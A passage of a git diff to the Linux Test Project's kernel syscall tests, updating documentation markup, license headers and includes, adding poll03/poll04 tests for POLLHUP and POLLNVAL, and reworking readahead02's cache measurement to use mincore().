flags - * O_APPEND, O_NOATIME, O_CLOEXEC and O_LARGEFILE. + * This test case will verify basic function of :manpage:`open(2)` with the + * flags O_APPEND, O_NOATIME, O_CLOEXEC and O_LARGEFILE. */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/open/open12_child.c b/ltp/testcases/kernel/syscalls/open/open12_child.c index a6dabd5d..47c689a0 100644 --- a/ltp/testcases/kernel/syscalls/open/open12_child.c +++ b/ltp/testcases/kernel/syscalls/open/open12_child.c @@ -1,17 +1,7 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2014 Fujitsu Ltd. * Author: Zeng Linggang <zenglg.jy@cn.fujitsu.com> - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * You should have received a copy of the GNU General Public License along - * with this program. */ #include <stdio.h> diff --git a/ltp/testcases/kernel/syscalls/open/open13.c b/ltp/testcases/kernel/syscalls/open/open13.c index aea9ec4b..40b6fa85 100644 --- a/ltp/testcases/kernel/syscalls/open/open13.c +++ b/ltp/testcases/kernel/syscalls/open/open13.c @@ -6,12 +6,12 @@ */ /*\ - * Basic test for O_PATH flag of :man2:`open`: + * Basic test for O_PATH flag of :manpage:`open(2)`: * * Obtain a file descriptor that can be used to perform operations * that act purely at the file descriptor level, the file itself is - * not opened, the operations :man2:`read`, :man2:`write`, :man2:`fchmod`, - * :man2:`fchown` and :man2:`fgetxattr` fail with the error EBADF. + * not opened, the operations :manpage:`read(2)`, :manpage:`write(2)`, :manpage:`fchmod(2)`, + * :manpage:`fchown(2)` and :manpage:`fgetxattr(2)` fail with the error EBADF. * * The operations include but are not limited to the syscalls above. */ diff --git a/ltp/testcases/kernel/syscalls/open/open14.c b/ltp/testcases/kernel/syscalls/open/open14.c index a3c7d38a..f8cd748a 100644 --- a/ltp/testcases/kernel/syscalls/open/open14.c +++ b/ltp/testcases/kernel/syscalls/open/open14.c @@ -6,7 +6,7 @@ */ /*\ - * Check the functionality of O_TMPFILE flag for open() syscall: + * Check the functionality of O_TMPFILE flag for :manpage:`open(2)` syscall: * * 1) Creation and linking (naming) of a single temp file * 2) Creation of multiple unlinked temp files in a hierarchy of directories @@ -108,7 +108,7 @@ static int read_file(int fd) SAFE_READ(0, fd, tmp, size); if (memcmp(buf, tmp, size)) { - tst_res(TFAIL, "got unexepected data"); + tst_res(TFAIL, "got unexpected data"); return 1; } } diff --git a/ltp/testcases/kernel/syscalls/open/open15.c b/ltp/testcases/kernel/syscalls/open/open15.c index 4917937a..eb436278 100644 --- a/ltp/testcases/kernel/syscalls/open/open15.c +++ b/ltp/testcases/kernel/syscalls/open/open15.c @@ -6,9 +6,13 @@ */ /*\ - * This test verifies that open() is working correctly on symlink() - * generated files. We generate a file via symlink, then we read both from file - * and symlink, comparing that data has been correctly written. + * Verify that :manpage:`open(2)` is working correctly on :manpage:`symlink(2)` + * generated files. + * + * [Algorithm] + * + * Create a file via :manpage:`symlink(2)`, then we read from both the file + * and the symlink, comparing that data has been correctly written. */ #include "tst_test.h" diff --git a/ltp/testcases/kernel/syscalls/open_by_handle_at/open_by_handle_at01.c b/ltp/testcases/kernel/syscalls/open_by_handle_at/open_by_handle_at01.c index 29a0d83c..4621ac69 100644 --- a/ltp/testcases/kernel/syscalls/open_by_handle_at/open_by_handle_at01.c +++ b/ltp/testcases/kernel/syscalls/open_by_handle_at/open_by_handle_at01.c @@ -4,7 +4,7 @@ */ /*\ - * Basic open_by_handle_at() tests. + * Basic :manpage:`open_by_handle_at(2)` test. * * [Algorithm] * diff --git a/ltp/testcases/kernel/syscalls/open_by_handle_at/open_by_handle_at02.c b/ltp/testcases/kernel/syscalls/open_by_handle_at/open_by_handle_at02.c index b445f1ad..5958827f 100644 --- a/ltp/testcases/kernel/syscalls/open_by_handle_at/open_by_handle_at02.c +++ b/ltp/testcases/kernel/syscalls/open_by_handle_at/open_by_handle_at02.c @@ -4,8 +4,9 @@ */ /*\ - * Failure tests for open_by_handle_at(). + * Failure tests for :manpage:`open_by_handle_at(2)`. */ + #define _GNU_SOURCE #include <linux/capability.h> #include "tst_capability.h" diff --git a/ltp/testcases/kernel/syscalls/open_tree/open_tree01.c b/ltp/testcases/kernel/syscalls/open_tree/open_tree01.c index 808d2566..897f4486 100644 --- a/ltp/testcases/kernel/syscalls/open_tree/open_tree01.c +++ b/ltp/testcases/kernel/syscalls/open_tree/open_tree01.c @@ -1,9 +1,12 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2020 Viresh Kumar <viresh.kumar@linaro.org> - * - * Basic open_tree() test. */ + +/*\ + * Basic :manpage:`open_tree(2)` test. + */ + #include "tst_test.h" #include "lapi/fsmount.h" diff --git a/ltp/testcases/kernel/syscalls/open_tree/open_tree02.c b/ltp/testcases/kernel/syscalls/open_tree/open_tree02.c index ddaa204f..78029ca3 100644 --- a/ltp/testcases/kernel/syscalls/open_tree/open_tree02.c +++ b/ltp/testcases/kernel/syscalls/open_tree/open_tree02.c @@ -1,9 +1,12 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2020 Viresh Kumar <viresh.kumar@linaro.org> - * - * Basic open_tree() failure tests. */ + +/*\ + * Basic :manpage:`open_tree(2)` failure tests. + */ + #include "tst_test.h" #include "lapi/fsmount.h" diff --git a/ltp/testcases/kernel/syscalls/openat/openat01.c b/ltp/testcases/kernel/syscalls/openat/openat01.c index 2e63bc2b..52468a35 100644 --- a/ltp/testcases/kernel/syscalls/openat/openat01.c +++ b/ltp/testcases/kernel/syscalls/openat/openat01.c @@ -6,7 +6,7 @@ */ /*\ - * This test case will verify basic function of openat. + * This test case will verify basic function of :manpage:`openat(2)`. * * - pathname is relative, then it is interpreted relative to the directory * referred to by the file descriptor dirfd diff --git a/ltp/testcases/kernel/syscalls/openat/openat02.c b/ltp/testcases/kernel/syscalls/openat/openat02.c index 260d344e..b283d1bd 100644 --- a/ltp/testcases/kernel/syscalls/openat/openat02.c +++ b/ltp/testcases/kernel/syscalls/openat/openat02.c @@ -5,7 +5,7 @@ */ /*\ - * This test case will verify following scenarios of openat. + * This test case will verify following scenarios of :manpage:`openat(2)`. * * - openat() succeeds to open a file in append mode, when * 'flags' is set to O_APPEND. diff --git a/ltp/testcases/kernel/syscalls/openat/openat03.c b/ltp/testcases/kernel/syscalls/openat/openat03.c index 90bcff5d..712e8574 100644 --- a/ltp/testcases/kernel/syscalls/openat/openat03.c +++ b/ltp/testcases/kernel/syscalls/openat/openat03.c @@ -25,7 +25,7 @@ #include <errno.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/fcntl.h" #include "openat.h" diff --git a/ltp/testcases/kernel/syscalls/openat/openat04.c b/ltp/testcases/kernel/syscalls/openat/openat04.c index d3f840ec..70e61301 100644 --- a/ltp/testcases/kernel/syscalls/openat/openat04.c +++ b/ltp/testcases/kernel/syscalls/openat/openat04.c @@ -9,15 +9,10 @@ * filesystem without POSIX ACL supported(by using noacl mount option). Test it * with umask S_IXGRP and also check file mode whether has filtered S_IXGRP. * - * Fixed in: + * Fixed in kernel v6.0 in commit: + * ac6800e279a2 ("fs: Add missing umask strip in vfs_tmpfile") * - * commit ac6800e279a22b28f4fc21439843025a0d5bf03e - * Author: Yang Xu <xuyang2018.jy@fujitsu.com> - * Date: Thu July 14 14:11:26 2022 +0800 - * - * fs: Add missing umask strip in vfs_tmpfile - * - * The most code is pasted form creat09.c. + * Based on code from creat09.c. */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/openat2/openat201.c b/ltp/testcases/kernel/syscalls/openat2/openat201.c index ecd63b15..f4c80bde 100644 --- a/ltp/testcases/kernel/syscalls/openat2/openat201.c +++ b/ltp/testcases/kernel/syscalls/openat2/openat201.c @@ -1,9 +1,15 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2020 Viresh Kumar <viresh.kumar@linaro.org> - * - * Basic openat2() test. */ + +/*\ + * Basic :manpage:`openat2(2)` test. + */ + +#define _GNU_SOURCE +#include <fcntl.h> + #include "tst_test.h" #include "lapi/openat2.h" diff --git a/ltp/testcases/kernel/syscalls/openat2/openat202.c b/ltp/testcases/kernel/syscalls/openat2/openat202.c index 6d1b5a67..7fa047da 100644 --- a/ltp/testcases/kernel/syscalls/openat2/openat202.c +++ b/ltp/testcases/kernel/syscalls/openat2/openat202.c @@ -1,9 +1,15 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2020 Viresh Kumar <viresh.kumar@linaro.org> - * - * openat2() tests with various resolve flags. */ + +/*\ + * :manpage:`openat2(2)` tests with various resolve flags. + */ + +#define _GNU_SOURCE +#include <fcntl.h> + #include "tst_test.h" #include "lapi/openat2.h" diff --git a/ltp/testcases/kernel/syscalls/openat2/openat203.c b/ltp/testcases/kernel/syscalls/openat2/openat203.c index 6ac49ef4..90419433 100644 --- a/ltp/testcases/kernel/syscalls/openat2/openat203.c +++ b/ltp/testcases/kernel/syscalls/openat2/openat203.c @@ -1,9 +1,15 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2020 Viresh Kumar <viresh.kumar@linaro.org> - * - * Basic openat2() test to check various failures. */ + +/*\ + * Basic :manpage:`openat2(2)` test to check various failures. + */ + +#define _GNU_SOURCE +#include <fcntl.h> + #include "tst_test.h" #include "lapi/openat2.h" diff --git a/ltp/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c b/ltp/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c index 86a134b5..df54dc08 100644 --- a/ltp/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c +++ b/ltp/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c @@ -43,7 +43,7 @@ #include "test.h" #include "lapi/syscalls.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "perf_event_open01"; diff --git a/ltp/testcases/kernel/syscalls/pipe/pipe04.c b/ltp/testcases/kernel/syscalls/pipe/pipe04.c index 219daecd..c73d1529 100644 --- a/ltp/testcases/kernel/syscalls/pipe/pipe04.c +++ b/ltp/testcases/kernel/syscalls/pipe/pipe04.c @@ -49,7 +49,7 @@ #include <sys/types.h> #include <sys/wait.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "pipe04"; int TST_TOTAL = 1; diff --git a/ltp/testcases/kernel/syscalls/pipe/pipe09.c b/ltp/testcases/kernel/syscalls/pipe/pipe09.c index 86282de4..45742dd5 100644 --- a/ltp/testcases/kernel/syscalls/pipe/pipe09.c +++ b/ltp/testcases/kernel/syscalls/pipe/pipe09.c @@ -51,7 +51,7 @@ #include <sys/wait.h> #include <errno.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #define PIPEWRTCNT 100 /* must be an even number */ diff --git a/ltp/testcases/kernel/syscalls/poll/.gitignore b/ltp/testcases/kernel/syscalls/poll/.gitignore index 83be0ddf..7ba7262e 100644 --- a/ltp/testcases/kernel/syscalls/poll/.gitignore +++ b/ltp/testcases/kernel/syscalls/poll/.gitignore @@ -1,2 +1,4 @@ /poll01 /poll02 +/poll03 +/poll04 diff --git a/ltp/testcases/kernel/syscalls/poll/poll01.c b/ltp/testcases/kernel/syscalls/poll/poll01.c index b05e809a..c03b1c68 100644 --- a/ltp/testcases/kernel/syscalls/poll/poll01.c +++ b/ltp/testcases/kernel/syscalls/poll/poll01.c @@ -5,16 +5,16 @@ * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz> */ -/* - * Check that poll() works for POLLOUT and POLLIN and that revents is set - * correctly. +/*\ + * Check that :manpage:`poll(2)` works for POLLOUT and POLLIN and that revents + * is set correctly. */ + #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <sys/wait.h> #include <sys/poll.h> - #include "tst_test.h" #define BUF_SIZE 512 @@ -27,19 +27,12 @@ static void verify_pollout(void) {.fd = fildes[1], .events = POLLOUT}, }; - TEST(poll(outfds, 1, -1)); - - if (TST_RET == -1) { - tst_res(TFAIL | TTERRNO, "poll() POLLOUT failed"); - return; - } - - if (outfds[0].revents != POLLOUT) { - tst_res(TFAIL | TTERRNO, "poll() failed to set POLLOUT"); + TST_EXP_VAL(poll(outfds, 1, -1), 1); + if (!TST_PASS) return; - } - tst_res(TPASS, "poll() POLLOUT"); + TST_EXP_EXPR(outfds[0].revents & POLLOUT); + TST_EXP_EXPR((outfds[0].revents & ~POLLOUT) == 0); } static void verify_pollin(void) @@ -53,26 +46,18 @@ static void verify_pollin(void) SAFE_WRITE(SAFE_WRITE_ALL, fildes[1], write_buf, sizeof(write_buf)); - TEST(poll(infds, 1, -1)); - - if (TST_RET == -1) { - tst_res(TFAIL | TTERRNO, "poll() POLLIN failed"); + TST_EXP_VAL(poll(infds, 1, -1), 1); + if (!TST_PASS) goto end; - } - - if (infds[0].revents != POLLIN) { - tst_res(TFAIL, "poll() failed to set POLLIN"); - goto end; - } - - tst_res(TPASS, "poll() POLLIN"); + TST_EXP_EXPR(infds[0].revents & POLLIN); + TST_EXP_EXPR((infds[0].revents & ~POLLIN) == 0); end: SAFE_READ(1, fildes[0], read_buf, sizeof(write_buf)); } -void verify_poll(unsigned int n) +static void verify_poll(unsigned int n) { switch (n) { case 0: diff --git a/ltp/testcases/kernel/syscalls/poll/poll02.c b/ltp/testcases/kernel/syscalls/poll/poll02.c index c0665927..531b9645 100644 --- a/ltp/testcases/kernel/syscalls/poll/poll02.c +++ b/ltp/testcases/kernel/syscalls/poll/poll02.c @@ -3,19 +3,19 @@ * Copyright (C) 2015-2017 Cyril Hrubis <chrubis@suse.cz> */ -/* - * Check that poll() timeouts correctly. +/*\ + * Check that :manpage:`poll(2)` timeouts correctly. */ + #include <errno.h> #include <fcntl.h> #include <sys/wait.h> #include <sys/poll.h> - #include "tst_timer_test.h" static int fds[2]; -int sample_fn(int clk_id, long long usec) +static int sample_fn(int clk_id, long long usec) { unsigned int sleep_ms = usec / 1000; diff --git a/ltp/testcases/kernel/syscalls/poll/poll03.c b/ltp/testcases/kernel/syscalls/poll/poll03.c new file mode 100644 index 00000000..182d8bd3 --- /dev/null +++ b/ltp/testcases/kernel/syscalls/poll/poll03.c @@ -0,0 +1,61 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2026 Jinseok Kim <always.starving0@gmail.com> + */ + +/*\ + * Check that poll() reports POLLHUP on a pipe read end + * after the write end has been closed. + */ +#include <unistd.h> +#include <errno.h> +#include <sys/poll.h> + +#include "tst_test.h" + +static int fds[2]; + +static void verify_pollhup(void) +{ + struct pollfd pfd = { + .fd = fds[0], .events = POLLIN, + }; + + TEST(poll(&pfd, 1, -1)); + + if (TST_RET == -1) { + tst_res(TFAIL | TTERRNO, "poll() failed"); + return; + } + + if (TST_RET != 1) { + tst_res(TFAIL, "Unexpected poll() return value %ld", TST_RET); + return; + } + + TST_EXP_EXPR(pfd.revents & POLLHUP); + TST_EXP_EXPR((pfd.revents & ~POLLHUP) == 0); + + tst_res(TPASS, "poll() reported POLLHUP"); +} + +static void setup(void) +{ + SAFE_PIPE(fds); + SAFE_CLOSE(fds[1]); +} + +static void cleanup(void) +{ + if (fds[0] > 0) + SAFE_CLOSE(fds[0]); + + if (fds[1] > 0) + SAFE_CLOSE(fds[1]); +} + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = verify_pollhup, +}; diff --git a/ltp/testcases/kernel/syscalls/poll/poll04.c b/ltp/testcases/kernel/syscalls/poll/poll04.c new file mode 100644 index 00000000..d6019d54 --- /dev/null +++ b/ltp/testcases/kernel/syscalls/poll/poll04.c @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2026 Jinseok Kim <always.starving0@gmail.com> + */ + +/*\ + * Check that poll() reports POLLNVAL for invalid file descriptors. + */ +#include <unistd.h> +#include <errno.h> +#include <sys/poll.h> + +#include "tst_test.h" + +static int fds[2]; +static int invalid_fd; + +static void verify_pollnval(void) +{ + struct pollfd pfd = { + .fd = invalid_fd, .events = POLLIN, + }; + + TEST(poll(&pfd, 1, 0)); + + if (TST_RET == -1) { + tst_res(TFAIL | TTERRNO, "poll() failed"); + return; + } + + if (TST_RET != 1) { + tst_res(TFAIL, "Unexpected poll() return value %ld", TST_RET); + return; + } + + TST_EXP_EXPR(pfd.revents & POLLNVAL); + TST_EXP_EXPR((pfd.revents & ~POLLNVAL) == 0); + + tst_res(TPASS, "poll() reported POLLNVAL"); +} + +static void setup(void) +{ + SAFE_PIPE(fds); + + invalid_fd = fds[0]; + SAFE_CLOSE(fds[0]); +} + +static void cleanup(void) +{ + if (fds[0] > 0) + SAFE_CLOSE(fds[0]); + + if (fds[1] > 0) + SAFE_CLOSE(fds[1]); +} + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = verify_pollnval, +}; diff --git a/ltp/testcases/kernel/syscalls/ppoll/ppoll01.c b/ltp/testcases/kernel/syscalls/ppoll/ppoll01.c index 606018af..6578280e 100644 --- a/ltp/testcases/kernel/syscalls/ppoll/ppoll01.c +++ b/ltp/testcases/kernel/syscalls/ppoll/ppoll01.c @@ -17,7 +17,7 @@ #include <stdlib.h> #include <sys/types.h> #include <sys/wait.h> -#include "ltp_signal.h" +#include "tso_signal.h" #include "time64_variants.h" #include "tst_sig_proc.h" #include "tst_test.h" diff --git a/ltp/testcases/kernel/syscalls/profil/profil01.c b/ltp/testcases/kernel/syscalls/profil/profil01.c index a8254cb0..d6812fab 100644 --- a/ltp/testcases/kernel/syscalls/profil/profil01.c +++ b/ltp/testcases/kernel/syscalls/profil/profil01.c @@ -26,7 +26,7 @@ #include <errno.h> #include <sys/types.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/abisize.h" #include "config.h" diff --git a/ltp/testcases/kernel/syscalls/quotactl/quotactl01.c b/ltp/testcases/kernel/syscalls/quotactl/quotactl01.c index 9dcf74ce..b14203a2 100644 --- a/ltp/testcases/kernel/syscalls/quotactl/quotactl01.c +++ b/ltp/testcases/kernel/syscalls/quotactl/quotactl01.c @@ -208,8 +208,8 @@ static void verify_quota(unsigned int n) static struct tst_test test = { .needs_root = 1, - .needs_drivers = (const char *const []) { - "quota_v2", + .needs_kconfigs = (const char *const []) { + "CONFIG_QFMT_V2", NULL }, .test = verify_quota, @@ -223,9 +223,9 @@ static struct tst_test test = { {} }, .mntpoint = MNTPOINT, - .needs_cmds = (const char *const []) { - "quotacheck", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "quotacheck"}, + {} }, .setup = setup, .cleanup = cleanup, diff --git a/ltp/testcases/kernel/syscalls/quotactl/quotactl04.c b/ltp/testcases/kernel/syscalls/quotactl/quotactl04.c index d2d7b3f3..ee7671ca 100644 --- a/ltp/testcases/kernel/syscalls/quotactl/quotactl04.c +++ b/ltp/testcases/kernel/syscalls/quotactl/quotactl04.c @@ -144,8 +144,8 @@ static void verify_quota(unsigned int n) static struct tst_test test = { .needs_root = 1, - .needs_drivers = (const char *const []) { - "quota_v2", + .needs_kconfigs = (const char *const []) { + "CONFIG_QFMT_V2", NULL }, .min_kver = "4.5", /* commit 689c958cbe6b (ext4: add project quota support) */ @@ -165,8 +165,8 @@ static struct tst_test test = { }, .mntpoint = MNTPOINT, .test_variants = QUOTACTL_SYSCALL_VARIANTS, - .needs_cmds = (const char *[]) { - "mkfs.ext4 >= 1.43.0", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "mkfs.ext4 >= 1.43.0"}, + {} } }; diff --git a/ltp/testcases/kernel/syscalls/quotactl/quotactl06.c b/ltp/testcases/kernel/syscalls/quotactl/quotactl06.c index 110a3aa9..b46fd1a3 100644 --- a/ltp/testcases/kernel/syscalls/quotactl/quotactl06.c +++ b/ltp/testcases/kernel/syscalls/quotactl/quotactl06.c @@ -211,8 +211,8 @@ static void cleanup(void) static struct tst_test test = { .setup = setup, .cleanup = cleanup, - .needs_drivers = (const char *const []) { - "quota_v2", + .needs_kconfigs = (const char *const []) { + "CONFIG_QFMT_V2", NULL }, .tcnt = ARRAY_SIZE(tcases), @@ -226,9 +226,9 @@ static struct tst_test test = { }, .mntpoint = MNTPOINT, .mount_device = 1, - .needs_cmds = (const char *const []) { - "quotacheck", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "quotacheck"}, + {} }, .needs_root = 1, .test_variants = QUOTACTL_FMT_VARIANTS, diff --git a/ltp/testcases/kernel/syscalls/quotactl/quotactl08.c b/ltp/testcases/kernel/syscalls/quotactl/quotactl08.c index 63087345..e20a8a8a 100644 --- a/ltp/testcases/kernel/syscalls/quotactl/quotactl08.c +++ b/ltp/testcases/kernel/syscalls/quotactl/quotactl08.c @@ -200,8 +200,8 @@ static void verify_quota(unsigned int n) static struct tst_test test = { .needs_root = 1, - .needs_drivers = (const char *const []) { - "quota_v2", + .needs_kconfigs = (const char *const []) { + "CONFIG_QFMT_V2", NULL }, .test = verify_quota, @@ -220,8 +220,8 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test_variants = QUOTACTL_SYSCALL_VARIANTS, - .needs_cmds = (const char *[]) { - "mkfs.ext4 >= 1.43.0", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "mkfs.ext4 >= 1.43.0"}, + {} } }; diff --git a/ltp/testcases/kernel/syscalls/quotactl/quotactl09.c b/ltp/testcases/kernel/syscalls/quotactl/quotactl09.c index 67366634..862ab4ed 100644 --- a/ltp/testcases/kernel/syscalls/quotactl/quotactl09.c +++ b/ltp/testcases/kernel/syscalls/quotactl/quotactl09.c @@ -168,8 +168,8 @@ static void cleanup(void) static struct tst_test test = { .setup = setup, .cleanup = cleanup, - .needs_drivers = (const char *const []) { - "quota_v2", + .needs_kconfigs = (const char *const []) { + "CONFIG_QFMT_V2", NULL }, .tcnt = ARRAY_SIZE(tcases), @@ -185,8 +185,8 @@ static struct tst_test test = { .mount_device = 1, .needs_root = 1, .test_variants = QUOTACTL_SYSCALL_VARIANTS, - .needs_cmds = (const char *[]) { - "mkfs.ext4 >= 1.43.0", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "mkfs.ext4 >= 1.43.0"}, + {} } }; diff --git a/ltp/testcases/kernel/syscalls/readahead/readahead02.c b/ltp/testcases/kernel/syscalls/readahead/readahead02.c index f007db18..5ebc4327 100644 --- a/ltp/testcases/kernel/syscalls/readahead/readahead02.c +++ b/ltp/testcases/kernel/syscalls/readahead/readahead02.c @@ -36,9 +36,10 @@ static char testfile[PATH_MAX] = "testfile"; #define DROP_CACHES_FNAME "/proc/sys/vm/drop_caches" -#define MEMINFO_FNAME "/proc/meminfo" #define PROC_IO_FNAME "/proc/self/io" #define DEFAULT_FILESIZE (64 * 1024 * 1024) +#define SHORT_SLEEP_US 5000 +#define MIN_RETRY_LIMIT 20 static size_t testfile_size = DEFAULT_FILESIZE; static char *opt_fsizestr; @@ -108,13 +109,45 @@ static unsigned long get_bytes_read(void) return ret; } -static unsigned long get_cached_size(void) +static unsigned long get_file_cached_bytes(const char *path, size_t length) { - unsigned long ret; + size_t pagecnt, resident = 0; + size_t map_len; + unsigned char *vec; + void *addr; + int fd; + size_t i; - SAFE_FILE_LINES_SCANF(MEMINFO_FNAME, "Cached: %lu", &ret); + if (!length) + return 0; - return ret; + fd = SAFE_OPEN(path, O_RDONLY); + + pagecnt = LTP_ALIGN(length, pagesize) / pagesize; + map_len = pagecnt * pagesize; + + addr = SAFE_MMAP(NULL, map_len, PROT_NONE, MAP_SHARED, fd, 0); + vec = SAFE_MALLOC(pagecnt); + + if (mincore(addr, map_len, vec) == -1) + tst_brk(TBROK | TERRNO, "mincore"); + + for (i = 0; i < pagecnt; i++) { + size_t chunk = pagesize; + size_t tail = length % pagesize; + + if (i == pagecnt - 1 && tail) + chunk = tail; + + if (vec[i] & 1) + resident += chunk; + } + + free(vec); + SAFE_MUNMAP(addr, map_len); + SAFE_CLOSE(fd); + + return resident; } static void create_testfile(int use_overlay) @@ -148,7 +181,7 @@ static void create_testfile(int use_overlay) * @fsize: how many bytes to read/mmap * @read_bytes: returns difference of bytes read, parsed from /proc/<pid>/io * @usec: returns how many microsecond it took to go over fsize bytes - * @cached: returns cached kB from /proc/meminfo + * @cached: returns cached bytes for @fname via mincore() */ static int read_testfile(struct tcase *tc, int do_readahead, const char *fname, size_t fsize, @@ -160,11 +193,20 @@ static int read_testfile(struct tcase *tc, int do_readahead, long read_bytes_start; unsigned char *p, tmp; off_t offset = 0; + size_t cached_prev; + ssize_t cache_diff; fd = SAFE_OPEN(fname, O_RDONLY); if (do_readahead) { do { + cached_prev = get_file_cached_bytes(fname, fsize); + tst_res(TDEBUG, "Per-file cached: %zu kB", + cached_prev / 1024); + + if (cached_prev >= fsize) + break; + TEST(tc->readahead(fd, offset, fsize - offset)); if (TST_RET != 0) { SAFE_CLOSE(fd); @@ -173,9 +215,35 @@ static int read_testfile(struct tcase *tc, int do_readahead, i++; offset += readahead_length; + /* + * We assume that the worst case I/O speed is around + * 5MB/s which is roughly 5 bytes per 1 us and we + * allow additional 25ms for seeks, which gives + * us upper bound for retries that is + * 5 + readahead_size/(5 * SHORT_SLEEP_US). + * + * We also monitor the cache size and exit the wait + * loop early if it increases by at least 50% + * of the read ahead size. + */ + int retries = readahead_length / (5 * SHORT_SLEEP_US); + + retries = MAX(retries + 5, MIN_RETRY_LIMIT); + + do { + usleep(SHORT_SLEEP_US); + cache_diff = get_file_cached_bytes(fname, + fsize) - (ssize_t)cached_prev; + + if (cache_diff >= readahead_length / 2) + break; + } while (retries-- > 0); + } while ((size_t)offset < fsize); + tst_res(TINFO, "readahead calls made: %zu", i); - *cached = get_cached_size(); + + *cached = get_file_cached_bytes(fname, fsize); /* offset of file shouldn't change after readahead */ offset = SAFE_LSEEK(fd, 0, SEEK_CUR); @@ -199,7 +267,7 @@ static int read_testfile(struct tcase *tc, int do_readahead, tst_brk(TBROK, "This line should not be reached"); if (!do_readahead) - *cached = get_cached_size(); + *cached = get_file_cached_bytes(fname, fsize); SAFE_MUNMAP(p, fsize); @@ -216,7 +284,7 @@ static void test_readahead(unsigned int n) { unsigned long read_bytes, read_bytes_ra; long long usec, usec_ra; - unsigned long cached_high, cached_low, cached, cached_ra; + unsigned long cached, cached_ra; int ret; struct tcase *tc = &tcases[n]; @@ -229,26 +297,20 @@ static void test_readahead(unsigned int n) create_testfile(tc->use_overlay); - /* find out how much can cache hold if we read whole file */ read_testfile(tc, 0, testfile, testfile_size, &read_bytes, &usec, &cached); - cached_high = get_cached_size(); + cached_max = MAX(cached_max, cached); + + /* ensure the measured baseline run starts from cold cache */ sync(); drop_caches(); - cached_low = get_cached_size(); - cached_max = MAX(cached_max, cached_high - cached_low); - tst_res(TINFO, "read_testfile(0)"); read_testfile(tc, 0, testfile, testfile_size, &read_bytes, &usec, &cached); - if (cached > cached_low) - cached = cached - cached_low; - else - cached = 0; + cached_max = MAX(cached_max, cached); sync(); drop_caches(); - cached_low = get_cached_size(); tst_res(TINFO, "read_testfile(1)"); ret = read_testfile(tc, 1, testfile, testfile_size, &read_bytes_ra, &usec_ra, &cached_ra); @@ -278,11 +340,6 @@ static void test_readahead(unsigned int n) return; } - if (cached_ra > cached_low) - cached_ra = cached_ra - cached_low; - else - cached_ra = 0; - tst_res(TINFO, "read_testfile(0) took: %lli usec", usec); tst_res(TINFO, "read_testfile(1) took: %lli usec", usec_ra); if (has_file(PROC_IO_FNAME, 0)) { @@ -299,16 +356,16 @@ static void test_readahead(unsigned int n) " unable to determine read bytes during test"); } - tst_res(TINFO, "cache can hold at least: %ld kB", cached_max); - tst_res(TINFO, "read_testfile(0) used cache: %ld kB", cached); - tst_res(TINFO, "read_testfile(1) used cache: %ld kB", cached_ra); + tst_res(TINFO, "cache can hold at least: %ld kB", cached_max / 1024); + tst_res(TINFO, "read_testfile(0) used cache: %ld kB", cached / 1024); + tst_res(TINFO, "read_testfile(1) used cache: %ld kB", cached_ra / 1024); - if (cached_max * 1024 >= testfile_size) { + if (cached_max >= testfile_size) { /* * if cache can hold ~testfile_size then cache increase * for readahead should be at least testfile_size/2 */ - if (cached_ra * 1024 > testfile_size / 2) + if (cached_ra > testfile_size / 2) tst_res(TPASS, "using cache as expected"); else if (!cached_ra) tst_res(TFAIL, "readahead failed to use any cache"); @@ -320,7 +377,6 @@ static void test_readahead(unsigned int n) } } - /* * We try raising bdi readahead limit as much as we can. We write * and read back "read_ahead_kb" sysfs value, starting with filesize. @@ -375,7 +431,6 @@ static void setup(void) tst_brk(TCONF, "Requires " PROC_IO_FNAME); has_file(DROP_CACHES_FNAME, 1); - has_file(MEMINFO_FNAME, 1); /* check if readahead is supported */ tst_syscall(__NR_readahead, 0, 0, 0); diff --git a/ltp/testcases/kernel/syscalls/recv/recv01.c b/ltp/testcases/kernel/syscalls/recv/recv01.c index bb257835..68904e9f 100644 --- a/ltp/testcases/kernel/syscalls/recv/recv01.c +++ b/ltp/testcases/kernel/syscalls/recv/recv01.c @@ -53,7 +53,7 @@ #include <netinet/in.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "recv01"; int testno; diff --git a/ltp/testcases/kernel/syscalls/recvfrom/recvfrom01.c b/ltp/testcases/kernel/syscalls/recvfrom/recvfrom01.c index 6ce9f1bd..35cc0375 100644 --- a/ltp/testcases/kernel/syscalls/recvfrom/recvfrom01.c +++ 